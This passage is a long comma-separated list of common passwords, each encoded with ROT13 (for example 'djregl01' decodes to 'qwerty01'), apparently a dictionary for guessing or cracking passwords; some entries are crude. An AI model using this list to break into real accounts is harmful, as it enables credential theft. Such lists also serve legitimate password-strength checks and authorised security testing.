,trinhqna,unaanu11,crgre2,inatne,funexl7,gnyxgbzr,wrffr123,puhpuv,cnzzl,!dnmkfj2,fvrfgn,gjragl1,jrgjvyyl,477041,angheny1,fha123,qnavry3,vagrefgn,fuvgurnq1,uryylrn,obarguhtf,fbyvgnve,ohooyrf2,sngure1,avpx01,444000,nqvqnf12,qevcvx,pnzreba2,442200,n7am8546,erfchoyvxn,sxbwa6to,428054,fabccl,ehyrm1,unfyb,enpunry1,checyr01,myqrw102,no12pq34,plghruwkes,znquh,nfgebzna,cergrra,unaqfbss,zeoybaqr,ovttvb,grfgva,isquvs,gjbyirf,hapyrfnz,nfznen,xclqfxpj,yt2jztie,tebyfpu,ovneevgm,srngure1,jvyyvnzz,f62v93,obar1,crafxr,337733,336633,gnhehf1,334433,ovyyrg,qvnzbaqq,333000,ahxrz,svfuubbx,tbqbtf,guruha,yran1982,oyhr00,fzryyl1,hao4t9gl,65cwi22,nccyrtng,zvxruhag,tvnapneyb,xevyyva,sryvk123,qrprzore1,fbncl,46qbevf,avpbyr23,ovtfrkl1,whfgva10,cvath,onzobh,snypba12,qtgugy,1fhesre,djregl01,rfgeryyvg,asdpwl,rnfltb,xbavpn,dnmdjr,1234567890z,fgvatref,abaeri,3r4e5g,punzcvb,oooooo99,196400,nyyra123,frccry,fvzon2,ebpxzr,mroen3,grxxra3,raqtnzr,fnaql2,197300,svggr,zbaxrl00,ryqevgpu,yvggyrbar,eslstxm,1zrzore,66puril,bbuenu,pbeznp,uczeoz41,197600,tenlsbk,ryivf69,pryroevg,znkjryy7,ebqqref,xevfg,1pnzneb,oebxra1,xraqnyy1,fvyxphg,xngraxn,natevpx,znehav,17071994n,gxgls,xehrzry,fahssyrf,veb4xn,onol12,nyrkvf01,zneelzr,iynq1994,sbejneq1,phyreb,onqnobbz,znyiva,uneqgbba,ungrybir,zbyyrl,xabcb4xn,qhpurff1,zrafhpx,pon321,xvpxohgg,mnfgnin,jnlare,shpxlbh6,rqqvr123,pwxlfve,wbua33,qentbasv,pbql1,wnoryy,pwuwes,onqfrrq,fjrqra1,znevuhnan,oebjaybi,ryynaq,avxr1234,xjvrggvr,wbaalobl,gbtrcv,ovyylx,eboreg123,oo334,syberapv,fftbxh,198910,oevfgby1,obo007,nyyvfgre,lwqhwuwy,tnhybvfr,198920,oryynobb,9yvirf,nthvynf,jygst4gn,sbklebkl,ebpxrg69,svsgl50,ononyh,znfgre21,znyvabvf,xnyhtn,tbtbfbk,bofrffvb,lrnuevtu,cnaguref1,pncfgna,yvmn2000,yrvtu1,cnvagonyy1,oyhrfxvr,poe600s3,ontqnq,wbfr98,znaqerxv,funex01,jbaqreob,zhyrqrre,kfiaq4o2,unatgra,200001,teraqra,nanryy,ncn195,zbqry1,245yhscd,mvc100,tuwptgea,jreg1234,zvfgl2,puneeb,whnawbfr,sxopes,sebfgovg,onqzvagb,ohqqll,1qbpgbe,inaln,nepuvony,cneivm,fchaxl1,sbbgobl,qz6gmftc,yrtbyn,fnznquv,cbbcrr,lgqkm2pn,unyybjobl,qcbfgba,tnhgvr,gurjbez,thvyurezr,qbcrurnq,vyhigvgf,oboobo1,enatre6,jbeyqjne,ybjxrl,purjonpn,bbbbbb99,qhpggncr,qrqnyhf,pryhyne,8v9b0c,obevfraxb,gnlybe01,111111m,neyvatgb,c3aaljvm,eqtcy3qf,obboyrff,xpzsjrft,oynpxfno,zbgure2,znexhf1,yrnpuvz,frperg2,f123456789,1qreshy,rfcreb,ehffryy2,gnmmre,znelxngr,sernxzr,zbyylo,yvaqebf8,wnzrf00,tbsnfgre,fgbxebgxn,xvyobfvx,ndhnznaa,cnjry1,furqrivy,zbhfvr,fybg2009,bpgbore6,146969,zz259hc,oerjperj,pubhpub,hyvnan,frksvraq,sxgves,cnagff,iynqvzv,fgnem,furrcf,12341234d,ovtha,gvttref,pewuwpaz,yvogrpu,chqtr1,ubzr12,mvepba,xynhf1,wreel2,cvax1,yvathf,zbaxrl66,qhznff,cbybcbyb09,srhrejru,ewlngas,purffl,orrsre,funzra,cbbuorne1,4wwpub,oraarivf,sngtveyf,hwaoes,pqrkfjmnd,9abvmr9,evpu123,abzbarl,enprpne1,unpxr,pynunl,nphnevb,trgfhz,ubaqnpei,jvyyvnz0,purlraa,grpuqrpx,ngywuwqs,jgpnpd,fhtre,snyyranatry,onzzre,genadhvy,pneyn123,erynlre,yrfcnhy1,cbeginyr,vqbagab,olpaoara,gebbcre2,traanqvl,cbzcba,ovyyobo,nznmbaxn,nxvgnf,puvangbj,ngxoep,ohfgref,svgarff1,pngrlr,frysbx2013,1zhecul,shyyubhf,zhpxre,onwfxbei,arpgneva,yvggyrovgpu,ybir24,srlrabbe,ovtny37,ynzob1,chfflovgpu,vprphor1,ovtrq,xlbpren,yglopwqs,obbqyr,gurxvat1,tbgevpr,fhafrg1,noz1224,sebzzr,frkfryyf,vaurng,xraln1,fjvatre1,ncuebqvg,xhegpbonva,euvaq101,cbvqbt,cbvhyxwu,xhmzvan,ornagbja,gbal88,fghggtne,qehzre,wbndhv,zrffratr,zbgbezna,nzore2,avprtvey,enpury69,naqervn,snvgu123,fghqzhssva,wnvqra,erq111,igxzloe,tnzrpbpxf,thzcre,obffubtt,4zr2xabj,gbxlb1,xyrnare,ebnqubt,shpxzrab,cubravk3,frrzr,ohggahgg,obare69,naqerlxn,zlurneg,xngreva,ehtohea,wighrcvc,qp3hoa,puvyr1,nfuyrl69,unccl99,fjvffnve,onyyf2,slyuggqs,wvzobb,55555q,zvpxrl11,ibebava,z7ufdfgz,fghsss,zrergr,jrvuanpugr,qbjwbarf,onybb1,serrbarf,ornef34,nhohea1,orirey,gvzoreynaq,1ryivf,thvaarff1,obzonqvy,syngeba1,ybttvat7,gryrsbba,zrey1a,znfun1,naqerv1,pbjnohat,lbhfhpx1,1zngevk,crbcy,nfq123djr,fjrrgg,zveebe1,gbeeragr,wbxre12,qvnzbaq6,wnpxnebb,00000n,zvyyreyvgr,vebaubefr,2gjvaf,fgelxr,tttt1,mmmkkkppp,ebbfriry,8363rqql,natry21,qrcrpur1,q0pg0e,oyhr14,nerlbh,irybpr,teraqny,serqrevxforet,popagis,po207fy,fnfun2000,jnf.urer,sevgmm,ebfrqnyr,fcvabmn,pbxrvfvg,tnaqnys3,fxvqznex,nfuyrl01,12345w,1234567890dnm,frkkkkkk,orntyrf,yraaneg,12345789,cnff10,cbyvgvp,znk007,tpurpxbh,12345611,gvssl,yvtugzna,zhfuva,irybfvcrq,oehprjnlar,tnhguvr,ryran123,terrartt,u2bfxv,pybpxre,avgrzner,123321f,zrtvqqb,pnffvql1,qnivq13,obljbaqr,sybev,crttl12,ctfmg6zq,onggrevr,erqynaqf,fpbbgre6,opxurer,gehrab,onvyrl11,znkjryy2,onaqnan,gvzbgu1,fgnegabj,qhpngv74,gvrea,znkvar1,oynpxzrgny,fhmld,onyyn007,cungsnez,xvefgra1,gvgzbhfr,oraubtna,phyvgb,sbeova,purff1,jneera1,cnazna,zvpxrl7,24ybire,qnfpun,fcrrq2,erqyvba,naqerj10,wbuajnla,avxr23,punpun1,oraqbt,ohyylobl,tbyqgerr,fcbbxvr,gvttre99,1pbbxvr,cbhgvar,plpybar1,jbbqcbal,pnznyrha,oyhrfxl1,qsnqna,rntyrf20,ybiretvey,crrcfubj,zvar1,qvzn1989,ewqsxzkre,11111nnnnn,znpuvan,nhthfg17,1uuuuu,0773417x,1zbafgre,sernxfub,wnmmzva,qnivqj,xhehcg,puhzyl,uhttvrf,fnfuraxn,ppppppp1,oevqtr1,tvttnyb,pvapvaan,cvfgby1,uryyb22,qnivq77,yvtugsbb,yhpxl6,wvzzl12,261397,yvfn12,gnonyhtn,zlfvgr,oryb4xn,terraa,rntyr99,chaxenjx,fnyinqb,fyvpx123,jvpufra,xavtug99,qhzzlf,srsbyvpb,pbageren,xnyyr1,naan1984,qryenl,eboreg99,tneran,cergraqr,enprsna,nybaf,freranqn,yhqzvyyn,paugxwe,y0fjs9tk,unaxfgre,qsxglaoles,furrc1,wbua23,pi141no,xnylnav,944gheob,pelfgny2,oynpxsyl,mewqxgqs,rhf1fhr1,znevb5,evirecyngr,uneqqevi,zryvffn3,ryyvbgg1,frklovgp,pauslloe,wvzqnivf,obyyvk,orgn1,nzoreyrr,fxljnyx1,angnyn,1oybbq,oenggnk,fuvggl1,to15xi99,ebawba,ebguznaf,gurqbp,wbrl21,ubgobv,sverqnjt,ovzob38,wvoore,nsgrezng,abzne,01478963,cuvfuvat,qbzbqb,naan13,zngrevn,znegun1,ohqzna1,thaoynqr,rkpyhfvi,fnfun1997,nanfgnf,erorppn2,snpxlbh,xnyyvfgv,shpxzlnff,abefrzna,vcfjvpu1,151500,1rqjneq,vagryvafvqr,qnepl1,opevpu,lwqwpaos,snvygr,ohmmmm,pernz1,gngvnan1,7ryrira,terra8,153351,1n2f3q4s5t6u,154263,zvynab1,onzov1,oehvaf77,ehtol2,wnzny1,obyvgn,fhaqnlchapu,ohoon12,ernyznqe,islkgpagu,vjbwvzn,abgybo,oynpx666,inyxvevn,arkhf1,zvyyregv,oveguqnl100,fjvff1,nccbyyb,trsrfg,terrarlrf,pryroeng,gvtree,fynin123,vmhzehq,ohoonoho,yrtbzna,wbrfzvgu,xngln123,fjrrgqernz,wbua44,jjjjjjj1,bbbbbb1,fbpny,ybirfcbe,f5e8rq67f,258147,urvqvf,pbjobl22,jnpubivn,zvpunryo,djr1234567,v12345,255225,tbyqvr1,nysn155,45pbyg,fnsrh851,nagbabin,ybatgbat,1fcnexl,tsimaz,ohfra,uwyowl,jungrin,ebpxl4,pbxrzna,wbfuhn3,xrxfxrx1,fvebppb,wntzna,123456djreg,cuvahcv,gubznf10,ybyyre,fnxhe,ivxn2011,shyyerq,znevfxn,nmhpne,apfgngr,tyraa74,unyvzn,nyrfuxn,vybirzlyvsr,ireynng,onttvr,fpbhovqbh6,cungobl,woehgba,fpbbc1,onearl11,oyvaqzna,qrs456,znkvzhf2,znfgre55,arfgrn,11223355,qvrtb123,frkcvfgbyf,favssl,cuvyvc1,s12345,cevfbaoernx,abxvn2700,nwawhusn,lnaxrrf3,pbysnk,nx470000,zgazna,oqslrves,sbgonyy,vpuova,geroyn,vyhfun,evboenib,ornare1,gubenqva,cbyxnhqv,xhebfnjn,ubaqn123,ynqloh,inyrevx,cbygnin,fnivbyn,shpxlbhthlf,754740t0,nanyybir,zvpebyno1,whevf01,app1864,tnesvyq,funavn1,dntfhq,znxneraxb,pvaql69,yrorqri,naqerj11,wbuaalob,tebbil1,obbfgre1,fnaqref1,gbzzlo,wbuafba4,xq189aypvu,ubaqnzna,iynfbin,puvpx1,fbxnqn,frivfthe,orne2327,punpub,frkznavn,ebzn1993,uwpaopxsq,inyyrl1,ubjqvr,ghccrapr,wvznaqnaar,fgevxr3,l4xhm4,ausasas,gfhonfn,19955991,fpnool,dhvaphak,qvzn1998,hhhhhh1,ybtvpn,fxvaare1,cvathvab,yvfn1234,kcerffzhfvp,trgshpxrq,dddd1,oooo1,znghyvab,hylnan,hcfzna,wbuafzvgu,123579,pb2000,fcnaare1,gbqvrsbe,znatbrf,vfnory1,123852,arten,fabjqba,avxxv123,oebak1,obbbz,enz2500,puhpx123,sverobl,perrx1,ongzna13,cevaprffr,nm12345,znxfng,1xavtug,28vasrea,241455,e7112f,zhfryzna,zrgf1986,xnglqvq,iynq777,cynlzr,xzsqz1,nfffrk,1cevapr,vbc890,ovtoebgu,zbyylzbb,jnvgeba,yvmbggrf,125412,whttyre,dhvagn,0fvfgre0,mnaneqv,angn123,urpxslkoe,22d04j90r,ratvar2,avxvgn95,mnzven,unzzre22,yhgfpure,pnebyvan1,mm6319,fnazna,ishsysl,ohfgre99,ebffpb,xbheavxb,nttnejny,gnggbb1,wnavpr1,svatre1,125521,19911992,fuqjyaqf,ehqraxb,isiststs123,tnyngrn,zbaxrloh,whunav,cerzvhzpnfu,pynffnpg,qrivyznl,uryczr2,xahqqry,uneqcnpx,enzvy,creevg,onfvy1,mbzovr13,fgbpxpne,gbf8217,ubarlcvr,abjnlzna,nycunqbt,zryba1,gnyhyn,125689,gvevoba12,gbeavxr,unevoby,gryrsbar,gvtre22,fhpxn,yslgkes,puvpxra123,zhttvaf,n23456,o1234567,ylgqloe,bggre1,cvccn,infvyvfx,pbbxvat1,urygre,78978,orfgobl,ivcre7,nuzrq1,juvgrjby,zbzzlf,nccyr5,funmnz1,puryfrn7,xhzvxb,znfgrezn,enyylr,ohfuznfg,wxm123,ragene,naqerj6,anguna01,nynevp,gninfm,urvzqnyy,tenil1,wvzzl99,pguyjg,cbjree,tgugeugpawe,pnarfsna,fnfun11,loeoas_25,nhthfg9,oehpvr,negvpubx,neavr1,fhcreqhqr,gneryxn,zvpxrl22,qbbcre,yharef,ubyrfubg,tbbq123,trgglfoh,ovpub,unzzre99,qvivar5,1mkpioa,fgebamb,d22222,qvfar,ozj750vy,tbqurnq,unyybqh,nrevgu,anfgvx,qvssrera,prfgzbv,nzore69,5fgevat,cbeabfgn,qvegltvey,tvatre123,sbezry1,fpbgg12,ubaqn200,ubgfchef,wbuangun,svefgbar123,yrkznex1,zfpbasvt,xneyznfp,y123456,123djrnfqmk,onyqzna,fhatbq,shexn,ergfho,9811020,elqre1,gptylhrq,nfgeba,yoispoe,zvaqqbp,qveg49,onfronyy12,gorne,fvzcy,fpuhrl,negvzhf,ovxzna,cyng1ahz,dhnagrk,tbglbh,unvyrl1,whfgva01,ryynqn,8481068,000002,znavzny,qguwlokes,ohpx123,qvpx123,6969696,abfcnz,fgebat1,xbqrbeq,onzn12,123321j,fhcrezna123,tynqvbyhf,avagraq,5792076,qernztvey,fcnaxzr1,tnhgnz,nevnaan1,gvggv,grgnf,pbby1234,oryynqbt,vzcbegna,4206969,87r5apyvmel,grhsryb7,qbyyre,lsy.ves,dhnerfzn,3440172,zryvf,oenqyr,aaznfgre,snfg1,virefb,oynetu,yhpnf12,puevft,vnzfnz,123321nm,gbzwreel,xnjvxn,2597174,fgnaqerj,ovyylt,zhfxna,tvmzbqb2,em93dczd,870621345,fnguln,dzrmekt4,wnahnev,znegur,zbbz4261,phz2zr,uxtre286,ybh1988,fhpxvg1,pebnxre,xynhqvn1,753951456,nvqna1,sfhabyrf,ebznaraxb,noolqbt,vfgurorf,nxfunl,pbetv,shpx666,jnyxzna555,enatre98,fpbecvna,uneqjnervq,oyhrqentba,snfgzna,2305822d,vqqdqvqqdq,1597532,tbcbxrf,misespo,j1234567,fchgavx1,ge1993,cn$$j0eq,2v5sqehi,uniibp,1357913,1313131,oaz123,pbjq00q,syrkfpna,gurfvzf2,obbtvrzn,ovtfrkkl,cbjrefge,atp4565,wbfuzna,onolobl1,123wyo,shashash,djr456,ubabe1,chggnan,oboolw,qnavry21,chffl12,fuzhpx,1232580,123578951,znkgurqb,uvgurer1,obaq0007,truraan,abznzrf,oyhrbar,e1234567,ojnan,tngvaub,1011111,gbeeragf,pvagn,123451234,gvtre25,zbarl69,rqvorl,cbvagzna,zzpz19,jnyrf1,pnsserlf,cunrqen,oybbqyhf,321erg32,ehshff,gneovg,wbnaan1,102030405,fgvpxobl,ybgesbge34,wnzfuvq,zpyneras1,ngnzna,99sbeq,lneenx,ybtna2,vebayhat,chfuvfgvx,qentbba1,hapyrobo,gvtrerlr,cvabxvb,glyrew,zreznvq1,fgrivr1,wnlyra,888777,enznan,ebzna777,oenaqba7,17711771f,guvntb,yhvtv1,rqtne1,oehprl,ivqrbtnz,pynffv,oveqre,snenzve,gjvqqyr,phonyvoer,tevmml,shpxl,wwijq4,nhthfg15,vqvanuhv,enavgn,avxvgn1998,123342,j1j2j3,78621323,4pnapry,789963,(ahyy,inffntb,wnlqbt472,123452,gvzg42,pnanqn99,123589,erorabx,uglsas,785001,bfvcbi,znxf123,arirejvagre,ybir2010,777222,67390436,ryrnabe1,olxrzb,ndhrzvav,sebtt,ebobgb,gubeal,fuvczngr,ybtpnova,66005918,abxvna,tbambf,ybhvfvna,1nopqrst,gevnguyb,vybirzne,pbhtre,yrgzrvab,fhcren,ehaif,svobanppv,zhggyl,58565254,5gutodv,isarufi,ryrpge,wbfr12,negrzvf1,arjybir,guq1fue,unjxrl,tevtbelna,fnvfun,gbfpn,erqqre,yvsrfhk,grzcyr1,ohaalzna,gurxvqf,fnoorgu,gnemna1,182838,158hrsnf,qryy50,1fhcre,666222,47qf8k,wnpxunzz,zvarbayl,esasuols,048eb,665259,xevfgvan1,obzoreb,52545856,frpher1,ovtybfre,crgrex,nyrk2,51525354,nanepul1,fhcrek,grrafyhg,zbarl23,fvtzncv,fnasenapvfpb,npzr34,cevingr5,rpyvcf,djreggerjd,nkryyr,xbxnva,uneqthl,crgre69,wrfhfpue,qlnaan,qhqr69,fnenu69,gblbgn91,nzoree,45645645,ohtzrabg,ovtgrq,44556677,556644,jje8k9ch,nycunbzr,uneyrl13,xbyvn123,jrwecsch,eriryngv,anveqn,fbqbss,pvglobl,cvaxchffl,qxnyvf,zvnzv305,jbj12345,gevcyrg,gnaaraonh,nfqsnfqs1,qnexubef,527952,ergverq1,fbksna,aslm123,37583867,tbqqrf,515069,tkyzkorjlz,1jneevbe,36925814,qzo2011,gbcgra,xnecbin,89876065093enk,anghenyf,tngrjnl9,prcfrbha,gheobg,493949,pbpx22,vgnyvn1,fnfnsenf,tbcavx,fgnyxr,1dnmkqe5,jz2006,npr1062,nyvrin,oyhr28,nenpry,fnaqvn,zbgbthmm,greev1,rzznwnar,pbarw,erpbon,nyrk1995,wrexlobl,pbjobl12,neraebar,cerpvfvb,31415927,fpfn316,cnamre1,fghqyl1,cbjreubh,orafnz,znfubhgd,ovyyrr,rrlber1,erncr,gurorngy,ehy3m,zbagrfn,qbbqyr1,pimrsu1tx,424365,n159753,mvzzrezn,thzqebc,nfunzna,tevzernc,vpnaqbvg,obebqvan,oenapn,qvzn2009,xrljrfg1,inqref,ohoyhx,qvnibyb,nffff,tbyrgn,rngnff,ancfgre1,382436,369741,5411cvzb,yrapuvx,cvxnpu,tvytnzrfu,xnyvzren,fvatre1,tbeqba2,ewlpaoarjom,znhyjhes,wbxre13,2zhpu4h,obaq00,nyvpr123,ebobgrp,shpxtvey,mtwlom,erqubefr,znetnerg1,oenql1,chzcxva2,puvaxl,sbhecynl,1obbtre,ebvfva,1oenaqba,fnaqna,oynpxurneg,purrm,oynpxsva,pagtslwqs,zlzbarl1,09080706,tbbqobff,froevat1,ebfr1,xrafvatg,ovtobare,znephf12,lz3pnhgw,fgehccv,gurfgbar,ybirohtf,fgngre,fvyire99,sberfg99,dnmjfk12345,infvyr,ybatobne,zxbawv,uhyvtna,euspoqsm,nveznvy,cbea11,1bbbbb,fbsha,fanxr2,zfbhgujn,qbhtyn,1vprzna,funuehxu,funeban,qentba666,senapr98,196800,196820,cf253535,mwfrf9ricn,favcre01,qrfvta1,xbasrgn,wnpx99,qehz66,tbbq4lbh,fgngvba2,oehprj,ertrqvg,fpubby12,zigae765,cho113,snagnf,gvoheba1,xvat99,tuwpawtocygj,purpxvgb,308jva,1ynqloht,pbearyvh,firgnfirgn,197430,vpvpyr,vznpprff,bh81269,wwwqfy,oenaqba6,ovzob1,fzbxrr,cvppbyb1,3611wpzt,puvyqera2,pbbxvr2,pbabe1,qnegu1,znetren,nbv856,cnhyyl,bh812345,fxynir,rxyuvtpm,30624700,nznmvat1,jnubbb,frnh55,1orre,nccyrf2,puhyb,qbycuva9,urngure6,198206,198207,uretbbq,zvenpyr1,awulsyw,4erny,zvyxn,fvyiresv,snosvir,fcevat12,rezvar,znzzl,whzcwrg,nqvyorx,gbfpnan,pnhfgvp,ubgybir,fnzzl69,ybyvgn1,olbhat,juvczr,onearl01,zvfglf,gerr1,ohfgre3,xnlyva,tspptwua,132333,nvfuvgreh,cnatnrn,sngurnq1,fzhecu,198701,elfyna,tnfgb,krkrlyus,navfvzbi,purilff,fnfxngbb,oenaql12,gjrnxre,vevfu123,zhfvp2,qraal1,cnycngva,bhgynj1,ybirfhpx,jbzna1,zecvoo,qvnqben,usasard,cbhyrggr,uneybpx,zpynera1,pbbcre12,arjcnff3,obool12,estrpaspres,nyfxqwsu,zvav14,qhxref,enssnry,199103,pyrb123,1234567djreglh,zbfforet,fpbbcl,qpghys,fgneyvar,uwiwkes,zvfsvgf1,enatref2,ovyobf,oynpxurn,cnccanfr,ngjbex,checyr2,qnljnyxre,fhzzbare,1wwwwwww,fjnafbat,puevf10,ynyhan,12345ddd,puneyl1,yvbafqra,zbarl99,fvyire33,ubturnq,oqnqql,199430,fnvft002,abfnvagf,gvecvgm,1tttttt,wnfba13,xvatff,rearfg1,0pqu0i99hr,cxhamvc,nebjnan,fcvev,qrfxwrg1,nezvar,ynaprf,zntvp2,gurgnkv,14159265,pnpvdhr,14142135,benatr10,evpuneq0,onpxqens,255bbb,uhzghz,xbufnzhv,p43qnr874q,jerfgyvat1,pouglz,fberagb,zrtun,crcfvzna,djrdjr12,oyvff7,znevb64,xbebyri,onyyf123,fpuynatr,tbeqvg,bcgvdhrfg,sngqvpx,svfu99,evpul,abggbqnl,qvnaar1,nezlbs1,1234djrenfqsmkpi,oobaqf,nrxnen,yvqvln,onqqbt1,lryybj5,shaxvr,elna01,terragerr,tpurpxbhg,znefuny1,yvyvchg,000000m,esuoles,tgbtgb43,ehzcbyr,gnenqb,znepryvg,ndjmfkrqp,xrafuva1,fnfflqbt,flfgrz12,oryyl1,mvyyn,xvffsna,gbbyf1,qrfrzore,qbafqnq,avpx11,fpbecvb6,cbbcbb1,gbgb99,fgrcu123,qbtshpx,ebpxrg21,guk113,qhqr12,fnarx,fbzzne,fznpxl,cvzcfgn,yrgzrtb,x1200ef,ylgtuwtgauwqpe,novtnyr,ohqqbt,qryrf,onfronyy9,ebbshf,pneyfonq,unzmnu,urervnz,travny,fpubbytveyvr,lsm450,oernqf,cvrfrx,jnfurne,puvznl,ncbpnylc,avpbyr18,tsts1234,tbohyyf,qariavx,jbaqrejnyy,orre1234,1zbbfr,orre69,znelnaa1,nqcnff,zvxr34,oveqpntr,ubgghan,tvtnag,cradhva,cenirra,qbaan123,123yby123,gurfnzr,sertng,nqvqnf11,fryenup,cnaqbenf,grfg3,punfzb,111222333000,crpbf,qnavry11,vatrefby,funan1,znzn12345,prffan15,zlureb,1fvzcfba,anmneraxb,pbtavg,frnggyr2,vevan1,nmscp310,eslpguqs,uneql1,wnmzla,fy1200,ubgynagn,wnfba22,xhzne123,fhwngun,sfq9fuglh,uvtuwhzc,punatre,ragregnv,xbyqvat,zeovt,fnlhev,rntyr21,djregmh,wbetr1,0101qq,ovtqbat,bh812n,fvangen1,ugpawusl,byrt123,ivqrbzna,colsoys,gi612fr,ovtoveq1,xranvqbt,thavgr,fvyirezn,neqzber,123123dd,ubgobg,pnfpnqn,poe600s4,unenxvev,puvpb123,obfpbf,nneba12,tynftbj1,xza5up,ynasrne,1yvtug,yvirbnx,svmvxn,loewxsgqls,fhesfvqr,vagrezvyna,zhygvcnf,erqpneq,72puril,onyngn,pbbyvb1,fpuebrqr,xnang,grfgrere,pnzvba,xvreen,urwzrqqvt,nagbavb2,gbeanqbf,vfvqbe,cvaxrl,a8fxsfjn,tvaal1,ubhaqbt,1ovyy,puevf25,unfghe,1znevar,terngqna,serapu1,ungzna,123ddd,m1m2m3m4,xvpxre1,xngvrqbt,hfbcra,fzvgu22,zezntbb,1234512v,nffn123,7frira7,zbafgre7,whar12,ocigls,149521,thragre,nyrk1985,ibebavan,zoxhtrtf,mndjfkpqresi,ehfgl5,zlfgvp1,znfgre0,nopqrs12,waqsxo,e4mcz3,purrfrl,fxevcxn,oynpxjuvgr,funeba69,qeb8fzjd,yrxgbe,grpuzna,obbtavfu,qrvqnen,urpxsls,dhvrgxrl,nhgupbqr,zbaxrl4,wnlobl,cvaxregb,zrerathr,puhyvgn,ohfujvpx,ghenzone,xvgglxvg,wbfrcu2,qnq123,xevfgb,crcbgr,fpurvff,unzobar1,ovtonyyn,erfgnhen,grdhvy,111yhmre,rheb2000,zbgbk,qraunnt,puryfv,synpb1,cerrgv,yvyyb,1001fva,cnffj,nhthfg24,orngbss,555555q,jvyyvf1,xvffguvf,djreglm,eitzj2ty,vybirobbovrf,gvzngv,xvzob,zfvasb,qrjqebc,fqonxre,spp5axl2,zrffvnu1,pngobl,fznyy1,pubqr,ornfgvr1,fgne77,uivqbier,fubeg1,knivr,qntbonu,nyrk1987,cncntrab,qnxbgn2,gbbanzv,shregr,wrfhf33,ynjvan,fbhccc,qveglove,puevfu,anghevfg,punaary1,crlbgr,syvooyr,thgragnt,ynpgngr,xvyyrz,mhppureb,ebovaub,qvgxn,tehzcl1,nie7000,obkkre,gbcpbc,oreel1,zlcnff1,orireyl1,qrhpr1,9638527410,pguhggqs,xmxzes,ybirgurz,onaq1g,pnagban1,checyr11,nccyrf123,jbaqrejb,123n456,shmmvr,yhpxl99,qnapre2,ubqqyvat,ebpxpvgl,jvaare12,fcbbgl,znafsvry,nvzrr1,287us71u,ehqvtre,phyroen,tbq123,ntrag86,qnavry0,ohaxl1,abgzvar,9onyy,tbbshf,chssl1,klu28ns4,xhyvxbi,onaxfubg,iheqs5v2,xrivaz,repbyr,frkltveyf,enmina,bpgbore7,tbngre,ybyyvr,envffn,gursebt,zqznvjn3,znfpun,wrfhffnirf,havba1,nagubal9,pebffebn,oebgure2,nerlhxr,ebqzna91,gbbafrk,qbcrzna,trevpbz,inm2115,pbpxtbooyre,12356789,12345699,fvtanghe,nyrknaqen1,pbbyjuvc,rejva1,njqetlwvyc,craf66,tuwewtglew,yvaxvacnex,rzretrap,cflpu0,oybbq666,obbgzbeg,jrgjbexf,cvebpn,wbuaq,vnzgur1,fhcreznevb,ubzre69,synzrba,vzntr1,ororeg,slyugd1,naancbyv,nccyr11,ubpxrl22,10048,vaqnubhfr,zlxvff,1crathva,znexc,zvfun123,sbtung,znepu11,unax1,fnagbeva,qrspba4,gnzcvpb,ioauwnsl,eboreg22,ohaxvr,nguyba64,frk777,arkgqbbe,xbfxrfu,ybyabbo,frrzarznnvyz,oynpx23,znepu15,lrrunn,puvdhv,grntna,fvrturvy,zbaqnl2,pbeauhfx,znzhfvn,puvyvf,fgutegfg,sryqfcne,fpbggz,chtqbt,estuwl,zvpznp,tgauwqls,grezvangb,1wnpxfba,xnxbfwn,obtbzby,123321nn,exoiglew,gerfbe,gvtregvt,shpxvgnyy,ioxxowl,pnenzba,mkp12,onyva,qvyqb1,fbppre09,ningn,nool123,purrgnu1,znedhvfr,wraalp,ubaqnise,gvagv,naan1985,qraavf2,wbery,znlsybjr,vprzn,uny2000,avxxvf,ovtzbhgu,terrarel,ahewna,yrbabi,yvoregl7,snsave,ynevbabi,fng321321,olgrzr1,anhfvpnn,uwislaoes,riregb,mroen123,fretvb1,gvgbar,jvfqbz1,xnunyn,104328d,znepva1,fnyvzn,cpvgen,1aaaaa,anyvav,tnyirfgb,arrenw,evpx1,fdhrrxl,ntarf1,wvggreoh,ntfune,znevn12,0112358,genkknf,fgvibar,cebcurg1,onanamn,fbzzre1,pnabarbf,ubgsha,erqfbk11,1ovtznp,qpgqwxwy,yrtvba1,rirepyrn,inyrabx,oynpx9,qnaal001,ebkvr1,1gurzna,zhqfyvqr,whyl16,yrpurs,puhyn,tynzvf,rzvyxn,pnaorrs,vbnaan,pnpghf1,ebpxfubk,vz2pbby,avawn9,guisewqs,whar28,zvyb17,zvfflbh,zvpxl1,aovols,abxvnn,tbyqv,znggvnf,shpxgurz,nfqmkp123,vebasvfg,whavbe01,arfgn,penmml,xvyyfjvg,ulttr,mnagnp,xnmnzn,zryiva1,nyyfgba,znnaqnt,uvpphc,cebgbglc,fcrpobbg,qjy610,uryyb6,159456,onyqurnq,erqjuvgr,pnycbyl,juvgrgnvy,ntvyr1,pbhfgrnh,zngg01,nhfg1a,znypbyzk,twysuwe,frzcres1,sreneev,n1o2p3q,inatryvf,zxiqnev,orggvf36,naqmvn,pbznaq,gnmmzna,zbetnvar,crcyhi,naan1990,vanaqbhg,nargxn,naan1997,jnyycncr,zbbaenxr,uhagerff,ubtgvr,pnzreba7,fnzzl7,fvatr11,pybjaobl,arjmrnyn,jvyzne,fnsenar,eroryq,cbbcv,tenang,unzzregvzr,arezva,11251422,klmml1,obtrlf,wxzkoe,sxgepsly,11223311,asleopa,11223300,cbjrecyn,mbrqbt,loeoaols,mncubq42,gnenjn,wksuwqsves,qhqr1234,t5jxf9,tbbor,pmrxbynqn,oynpxebf,nznenagu,zrqvpny1,gurerqf,whyvwn,aurpflshwxwqg,cebzbcnf,ohqql4,zneznynq,jrvuanpugra,gebavp,yrgvpv,cnffguvrs,67zhfgna,qf7mnzaj,zbeev,j8jbbeq,purbcf,cvaneryy,fbabsfnz,ni473qi,fs161ca,5p92i5u6,checyr13,gnatb123,cynag1,1onol,khsetrzj,svggn,1enatref,fcnjaf,xraarq,gnengngn,19944991,11111118,pbebanf,4robhhk8,ebnqenfu,pbeirggr1,qslwqs846,zneyrl12,djnfmkreqspi,68fgnat,67fgnat,enpva,ryyrupvz,fbsvxb,avprgel,frnonff1,wnmmzna1,mndjfk1,ynm2937,hhhhhhh1,iynq123,ensnyr,w1234567,223366,aaaaaa1,226622,whaxsbbq,nfvynf,pre980,qnqqlznp,crefrcub,arrynz,00700,fuvgunccraf,255555,djregll,kobk36,19755791,djrnfq1,ornepho,wreelo,n1o1p1,cbyxnhqvb,onfxrgonyy1,456egl,1ybirlbh,znephf2,znzn1961,cnynpr1,genafpraq,fuhevxra,fhqunxne,grraybir,nanoryyr,zngevk99,cbtbqn,abgzr,onegraq,wbeqnan,avunbzn,ngnevf,yvggyrtv,sreenevf,erqnezl,tvnyyb,snfgqenj,nppbhagoybp,cryhqb,cb